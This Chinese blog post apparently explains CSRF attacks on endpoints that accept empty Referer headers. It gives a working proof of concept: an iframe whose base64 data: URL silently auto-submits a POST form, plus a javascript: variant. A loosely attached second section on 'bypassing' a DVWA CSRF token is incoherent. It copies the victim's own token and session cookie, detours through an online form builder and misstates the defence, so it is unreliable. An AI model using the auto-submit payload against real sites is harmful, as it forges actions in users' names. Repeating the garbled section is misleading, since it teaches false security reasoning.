CSRF - 空Referer绕过

本文介绍了如何在存在空Referer请求的情况下构造跨站请求伪造(CSRF)攻击的POC。通过使用特定协议,如data: 和javascript:,可以在不需要用户交互的情况下自动提交表单,从而对存在漏洞的服务器发起攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在实际环境中,服务器很多CGI由于一些历史原因,必须允许空Referer的请求。比如:老的客户端版本请求的时候就没有Referer,总不能在服务端一刀切,让老版本的用户都无法正常使用了吧。

这样的CGI就存在CSRF攻击的风险。那么我们该如何在真实环境中构造一个可利用的POC呢?

我们知道正常的页面跳转,浏览器都会自动带上Referer,那么现在的问题就变成了什么情况下浏览器会不带Referer?通过一些资料,可以大致总结为两种情况:

1.通过地址栏,手动输入;从书签里面选择;通过实现设定好的手势。上面说的这三种都是用户自己去操作,因此不算CSRF。

2.跨协议间提交请求。常见的协议:ftp://,http://,https://,file://,javascript:,data:.最简单的情况就是我们在本地打开一个HTML页面,这个时候浏览器地址栏是file://开头的,如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。那么我们接下来可以利用data:协议来构造一个自动提交的CSRF攻击。当然这个协议是IE不支持的,我们可以换用javascript:

假如http://a.b.com/d 这个接口存在空Referer绕过的CSRF,那么我们的POC可以是这样的:

<html>
    <body>
       <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
    </doby> 
</html>

  

上面iframe的src的代码其实是:

<form method=post action=http://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>

  

自动提交表单到有缺陷的CGI.

刚才说了上面的POC对IE支持不好,那么我们可以用javascript:协议来实现一个类似的,大致思路是这样的,具体构造代码我不弄了:

<iframe id="a" src=""></iframe> 
<script>
    document.getElementById("a").src='javascript:"<html><body>wooyun.org<scr'+'ipt>eval(xx)</scr'+'ipt></body></html>"';
</script> 

  

首先,我们需要在本地搭建一个DVWA环境。DVWA是一个漏洞练习平台,可以用于学习和测试Web应用程序的安全性。您可以从以下网站下载DVWA并进行安装:https://github.com/ethicalhack3r/DVWA。 接下来,我们需要绕过CSRF-token进行攻击。CSRF-token是一种防止CSRF攻击的措施,它是一个随机生成的字符串,用于验证请求是否来自合法的来源。在DVWA中,我们可以通过修改一个cookie来绕过CSRF-token。 下面是具体的攻击步骤: 1. 打开DVWA,登录并进入CSRF实验页面。 2. 在Chrome浏览器中打开开发者工具,切换到“Network”选项卡,勾选“Preserve log”选项。 3. 在实验页面中点击“View Source”按钮,查看页面源代码。 4. 在源代码中找到与CSRF-token相关的代码,我们可以看到以下代码: ``` <input type="hidden" name="user_token" value="<?php echo $_SESSION['user_token']; ?>"> ``` 5. 复制CSRF-token,它通常位于name="user_token"的input标签中,value属性的值为一个长字符串。 6. 在开发者工具中找到与此页面对应的请求,点击它打开请求详情。 7. 在请求详情中找到Cookie选项卡,找到名为“PHPSESSID”的cookie并复制它的值。 8. 使用一个新的浏览器标签打开一个在线表单生成器,例如:https://www.123formbuilder.com/free-form-templates/Online-Order-Form-3578911/。 9. 在表单生成器中创建一个POST表单,将请求方法设置为POST,并填写以下表单字段: ``` action: http://your-dvwa-site.com/vulnerabilities/csrf/ amount: 1000 ``` 10. 在开发者工具中找到此页面对应的请求,复制请求头中的所有内容。 11. 使用curl或其他工具发送POST请求,将以上内容作为请求头发送,例如: ``` curl -X POST 'http://your-dvwa-site.com/vulnerabilities/csrf/' \ -H 'Cookie: PHPSESSID=your-session-id-here' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H 'Referer: http://your-dvwa-site.com/vulnerabilities/csrf/' \ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' \ -H 'Upgrade-Insecure-Requests: 1' \ -H 'Origin: http://your-dvwa-site.com' \ -H 'Accept-Encoding: gzip, deflate' \ -H 'Accept-Language: en-US,en;q=0.9' \ -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \ --data 'user_token=your-csrf-token-here&amount=1000&action=transfer' ``` 12. 您应该会看到成功的响应。 总之,这个实验展示了CSRF攻击的危害性以及如何绕过CSRF-token进行攻击。在实际应用中,我们应该采取更加安全的措施来防止CSRF攻击,例如使用双重身份验证或者更加严格的CSRF-token验证。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值